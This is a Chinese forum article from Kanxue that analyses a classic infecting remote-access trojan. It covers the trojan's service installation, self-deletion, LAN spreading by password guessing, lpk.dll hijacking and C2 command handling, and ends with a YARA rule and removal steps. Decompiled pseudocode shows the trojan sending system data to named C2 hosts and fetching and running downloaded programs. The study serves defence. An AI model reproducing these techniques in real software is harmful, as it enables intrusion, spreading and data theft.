专栏名称: 看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
目录
相关文章推荐
CounterpointResearch  ·  人工智能服务器目前占全球服务器市场的三分之一 ·  2 天前  
CounterpointResearch  ·  人工智能服务器目前占全球服务器市场的三分之一 ·  2 天前  
IDC咨询  ·  百舸争流,加速应用拓展——IDC ... ·  4 天前  
IDC咨询  ·  百舸争流,加速应用拓展——IDC ... ·  4 天前  
嘶吼专业版  ·  如何管理影子 IT 并减少攻击面 ·  5 天前  
计算机与网络安全  ·  网络安全供应链风险管理采购指南 ·  1 周前  
黑白之道  ·  更新MDUT渗透神器二开增强版 ·  1 周前  
51好读  ›  专栏  ›  看雪学苑

从 0 分析一款经典的感染型远控木马

看雪学苑  · 公众号  · 互联网安全  · 2017-05-25 18:05

正文

终于毕业考试完了。经过节奏紧张的培训,一直没有好好分析一个病毒或者一个完整的软件,用了4天时间,分析了一款经典的感染型远控木马,期间因为调试服务,调试 DLL 花费了不少时间。稍后整理完也会首发看雪,在咱们看雪已经潜水1年多了,之前一直觉得没什么有营养的东西可以和大家分享,希望这篇文章能给想分析病毒入门的童鞋带来帮助,水平有限,有不足的地方欢迎指点。

还有个同学跟我一起分析了,我没做流程图,此流程图由年轻帅气可爱的老朱同学赞助:

流程图_start:

病毒首先使用 RegOpenKeyExW 函数读取注册表中【HKEY_LOCAL_MACHINE\system\\CurrentControlset\\services\\Ghijkl Nopqrstu Wxy】

这个键项;如果键项不存在,则创建病毒的系统服务,流程图大体如下:



老朱同学的流程图 _end


1.1 样本信息


病毒名

3601.exe

样本大小

72KB

分析时间

2017-5-16

MD5:

96043b8dcc7a977b16a2892c4b38d87f

加壳情况:

UPX(3.07)


1.2 测试环境及工具


测试平台

虚拟机WIN7

使用工具

OLLYDEBUG+IDA6.8


LordPe


火绒剑


1.3 目标概述


病毒母体

3601.exe

96043b8dcc7a977b16a2892c4b38d87f


释放的文件

vmnfmc.exe

8a1716b566d20b77c20647d0f760b01c

随机字母组成

释放的DLL

Hra33.dll


资源文件 主要存放2个资源 服务名和病毒EXE


2. 具体行为分析

2.1 主要行为

病毒母体

通过创建系统服务 释放文件(随机名称.exe)到系统目录,删除自身.释放的目标EXE以服务的方式开机自启动.

释放的病毒

开启多线程进行 通过局域网共享病毒 连接服务器 进行病毒的自我更新 远程指令 等操作

释放的DLL

Hra33.dll 资源文件 主要存放2个资源 服务名和病毒EXE 具有感染文件的功能

远程服务器

Sbcq.f3322.org:9898     www.520123.xyz:9999  www.520520520.org:9426


2.1.1 恶意程序对用户造成的危害

  • 将病毒程序通过弱密码感染到局域网主机 at 计划任务

  • 从服务器下载任意EXE程序并运行

  • 从服务器获得任意URL在本地打开

  • Vmnfmc.exe 释放 C:\WINDOWS\system32\hra33.dll并载入 创建三个线程

  • 遍历到的是EXE文件则拷贝病毒模块文件lpk.dll到该EXE文件的文件目录下进行DLL劫持

  • 如果上面对用户电脑的文件遍历,遍历到的是 RAR 或者 ZIP 格式的压缩包文件,则对压缩包里面的 EXE 文件进行 DLL 劫持,拷贝病毒模块文件 lpk.dll 到压缩包里的 EXE 文件目录下。

  • 如果当前运行的病毒模块不是病毒文件 lpk 的 dll 则动态加载系统的 lpk.dll 并进行 lpk.dll 文件的初始 为 dll 直接转发的方式劫持系统文件 lpk.dll 做准备。

 

2.2 恶意代码分析

Step 1. 将目标程序载入PEID 查看是 USP 的壳 利用 ESP 定律 
 

脱壳成功

Step 2. 载入 IDA 分析 Main 函数 为方便阅读 以下均是伪代码

       WSAStartup(0x202u, &WSAData);

if (Check_Server())                         // 判断是否有注册表服务是否存在

{

v7 = 0;

v8 = 0;

ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";

ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;

StartServiceCtrlDispatcherA(&ServiceStartTable);

}

else                                          // 母体病毒进入 开始初始化

{

Init_virs(

(int)"Ghijkl   Nopqrstu Wxy",

(int)"Ghijkl   Nopqrstu Wxyabcde Ghij",

(int)"Ghijklmn   Pqrstuvwx Abcdefg Ijklmnop Rst");

if (ReName)

{

DeleteSelf();

ExitProcess(0);

}

}

第一次打开病毒文件  会进入 Init_virs

先载入各种操作服务和注册表的函数

GetModuleFileNameA(0u, &Filename, 0x104u);

GetWindowsDirectoryA(&Buffer, 0x104u);

Bufflen = strlen(&Buffer);

if (strncmp(&Buffer,   &Filename, Bufflen)) //判断是否需要重新生成一个病毒 名称是随机的

{

charA =   Get_Randchar(26u) + 'a';

charB =   Get_Randchar(26u) + 'a';

charC =   Get_Randchar(26u) + 'a';

charD =   Get_Randchar(26u) + 'a';

charE =   Get_Randchar(26u) + 'a';

charF =   Get_Randchar(26u);

wsprintfA(&strExeName, "%c%c%c%c%c%c.exe", charF + 'a',   charE, charD, charC, charB, charA);

mbscat(&Buffer, L"\\");

mbscat(&Buffer, &strExeName);

((void(__stdcall *)(CHAR *, CHAR *,   _DWORD))CopyFileA)(&Filename, &Buffer, 0);

memset(&Filename, 0, 0x104u);

mbscpy(&Filename,   &Buffer);

ReName = 1;

}

载入服务 修改服务描述 , 修改服务配置 , 开启服务等操作

if (ReName)

{

DeleteSelf();

ExitProcess(0);

}

DeleteSelf()函数实现细节


GetModuleFileNameA(0, &Filename,   0x104u);     // 获得当前EXE路径

GetShortPathNameA(&Filename,   &Filename, 0x104u);// 获得文件名

GetEnvironmentVariableA("COMSPEC", &Buffer, 0x104u);// 获取CMD的路径

((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, "/c del ");

((void(__stdcall *)(char *, CHAR *))lstrcatA)(&Shellcommand, &Filename);

((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, " > nul");// /c   del C:\xxxx\3601_U~1.EXE > nul

v19 = &v26;

v20 = &Buffer;

v16 = '

v18 = 0;

v26 = 'O';

v27 = 'p';

v28 = 'e';

v29 = 'n';

v30 = 0;

v21 =   &Shellcommand;

v22 = 0;

v23 = 0;

v17 = 64;

if (ShellExecuteEx(&v16))                   // 运行删除自身的指令

{

SetPriorityClass(hProcess, 64u);            // 设置线程优先级

hProcessa = GetCurrentProcess();

SetPriorityClass(hProcessa, 256u);

v2 = GetCurrentThread();

SetThreadPriority(v2, 15);

SHChangeNotify(SHCNE_DELETE, SHCNF_PATHA, &Filename, 0);// 删除当前进程的EXE程序

result = 1;

}

这也就完成了 释放新病毒 删除自身的操作

刚刚分析的是病毒第一次运行的操作,现在进入病毒第二次运行的操作。

ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";

ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;

StartServiceCtrlDispatcherA(&ServiceStartTable)

进入回到函数

先设置服务状态 后面加载当前函数需要使用的函数

木马程序主体框架结构:

if (CreatemutexA(0, 0, "Ghijkl   Nopqrstu Wxy")&& SetServiceStatus() == 183) // 创建互斥体  存在的话 服务退出

{

exit(0);

}

EnumResource_start();                         // 释放DLL资源到C:\WINDOWS\system32\hra33.dll

wsprintfA(&pFileName, "hra%u.dll", '!');

Insert_Result(&pFileName);                    // 打开hra33.dll  拷贝2个资源到到hra33.DLL 一个是服务名 一个是EXE自身

Load_hra33();                                 // 加载hra33.dll    具有DLL劫持功能 具体实现 将EXE同目录创建一个LPK.DLL

CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Shared_exe_LAN, 0, 0, 0);// 通过密码库 正确的话 就将木马程序 共享局域网

Sleep(500u);

WSAStartup(0x202u, &WSAData);

CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_4051E0, 0, 0, 0);// 接受网络指令 服务器 Sbcq.f3322.org:9898

WSAStartup(0x202u, &WSAData);

CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_405241, 0, 0, 0);// 接受网络指令 服务器 www.520123.xyz:9999

while (1)

{

dword_409628 = New_Thread((LPTHREAD_START_ROUTINE)sub_40387C, 0);// // 接受网络指令 服务器 www.520520520.org:9426

WaitForSingleObject(0, 0xFFFFFFFF);

CloseHandle(0);

((void(__stdcall *)(_DWORD))closesocket)(0);

dword_401C84 = 1;

Sleep(0x12Cu);

}

先来分析下 Shared_exe_LAN 第一个线程做的事情

首先本地定义一些用户名和常用密码字典

if (!gethostname(&Sysname,   128))

{

v2 = gethostbyname(&Sysname);             // 传入当前电脑名称

v3 = v2;

v69 = v2;

if (v2)

{

v70 = 0;

if (*v2->h_addr_list)                 // 别名不为空

{

memset(&Dst, 0, 0x10u);

memcpy(&v66, *(const void **)v3->h_addr_list, v3->h_length);

strIP = 0;

dword_40961C = 1;

memset(&v11, 0, 124u);

v12 = 0;

v13 = 0;

while (1)                           // 开始遍历局域网用户 成功则为远程用户添加一个任务 用来执行本机的目标程序

{

dword_409624 = 0;

memset(&strIP, 0, 0x80u);

sprintf(&strIP, "%d.%d.%d.%d", v66, v67, v68, 0);// 得到  "192.168.32.1"

if ("administrator")

{

strBuff = (int *)&strUser;

do

{

if (&dword_409644)

{

strPwdBuff = (int *)&strPwd;

do

{

Sleep(200u);

Check_pwd((int)&strIP,   *strBuff, *strPwdBuff);// 传入IP 用户名  密码  通过IPC管道检测

++strPwdBuff;

} while (*strPwdBuff);

}

++strBuff;

} while (*strBuff);

}

Check_pwd 实现细节

总结:这2 个函数 可以循环遍历{局域网IP  通过自身的用户名 密码库} 进行传染

接下来 2、3 、4线程执行的框架指令都差不多,只是连接的服务器不一样。细微区别,其他的都一样,线程 3 用的服务器地址是 BASE64 解密后的地址

创建个线程 该线程成为僵尸线程。

继续深入。

  hSocket = Init_connect();                     // 网络初始化 连接 返回句柄

g_Socket = hSocket;

if (hSocket != -1)

{

Sock_Control(hSocket,   75);                  // 设置SOCKET的套接字模式

memset(&Dst, 0, 176u);

Get_SysInfo((int)&Dst);                     // 获取用户的电脑的操作系统的版本信息、CPU处理的频率和数目信息、系统的内存信息以、使用的网络流量的信息以及用户电脑从启动到现在的上线时间,准备将用户的这些信息发送给病毒作者。

if (Load_hra33() == 1)                    // 载入DLL

v52 += 2;

v53 += 3;

v54 += 4;

*(_DWORD *)buf = 176;

SwitchNumber = 0x77;

memcpy(SysInfo, &Dst, 176u);

if (send(g_Socket, buf, 184, 0) != -1)    // 将信息发送服务器  肉鸡已上线。。


加载 URLDOWNTOFILEA  函数  等待死循环等待服务器的指令

这几个应该是一个自定义的结构体 无法还原  后面会一一用到  现在一个一个分析服务器都会发送哪些指令 来操作客户端

if (SwitchNumber > 6){ //搞事情. }

else { if (SwitchNumber == 6){ //搞事情too.    }           }


SWTICH  一个一个分析:

Case 5: //我猜测控制全局线程任务 避免损耗过大

case 2、3 都有不少混淆其他只有一个函数是正常的 篇幅有限 举个栗子:

case 2:// 根据网络传输的参数 指定连接某服务器地址 进行TCP连接 发垃圾包 关闭 循环自定义次数 break;

因IDA的BUG SEND没显示出来,这个故事再次告诉我们F5大法也有问题


我猜测这就是传说中的网络攻击器的肉鸡?

case 3://根据网络传输的参数 运行系统路径下指定程序可以带参数 可以指定运行多少次 break;

只有这段代码是有效的 其他的都是垃圾指令  根据功能是来攻击当前机器的用户 ..想想自定义次数打开某个东西。

case 4://等待任务/  break;这个就没啥好看的 作者让用户机器暂时不接受任务。

case 5://猜测是控制全局线程任务 避免损耗过大 全局的BOOL值变量  break;

case 6://关闭互斥体 删除注册表的值 删除自身   break;

 


case 16://根据网络传输的参数 保存到临时文件 然后打开运行 支持传参运行  break;

URLDOWNTOFILEA函数应该是如下图 IDA手残点错了 把参数给搞没了.^_^

case 18://更新本身病毒  下载 运行 删除自身  break;

case 20://根据网络传输的 URL 打开 IE 浏览器进行弹窗  break;



3. 解决方案/总结


3.1  提取病毒的特征,利用杀毒软件查杀

Ghijkl Nopqrstu Wxy 的 16 进制字符串为 4768696a6b6c204e6f70717273747520577879

Yara 规则配合 ClamAV:

rule 3601Virs

{

    strings:

        $my_text_string = "Ghijkl   Nopqrstu Wxy"

        $my_hex_string = {47 68 69 6a 6b 6c   20 4e 6f 70 71 72 73 74 75 20 57 78 79 }

   

    condition:

        $my_text_string or $my_hex_string

}


3.2 手工查杀步骤 查杀思路

通过服务名称"Ghijkl Nopqrstu Wxy" 可以得到服务绑定的 EXE 程序

1. 停止服务

2. 删除注册表的键值

3. 删除服务绑定的EXE windows目录下

4. 找到system系统目录下 hra33.dll 删除

5. 删除所有非system32目录下的lpk.dll


这个病毒不难 但是对于我们这种新手来说 需要花时间就能搞定了 此外 感谢15PB老师们的辛勤栽培!!!

本文由看雪论坛 荒野猎人 原创


你可能对以下内容感兴趣:



更多优秀文章,长按下方二维码,“关注看雪学院公众号”查看!

看雪论坛:http://bbs.pediy.com/

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:www.kanxue.com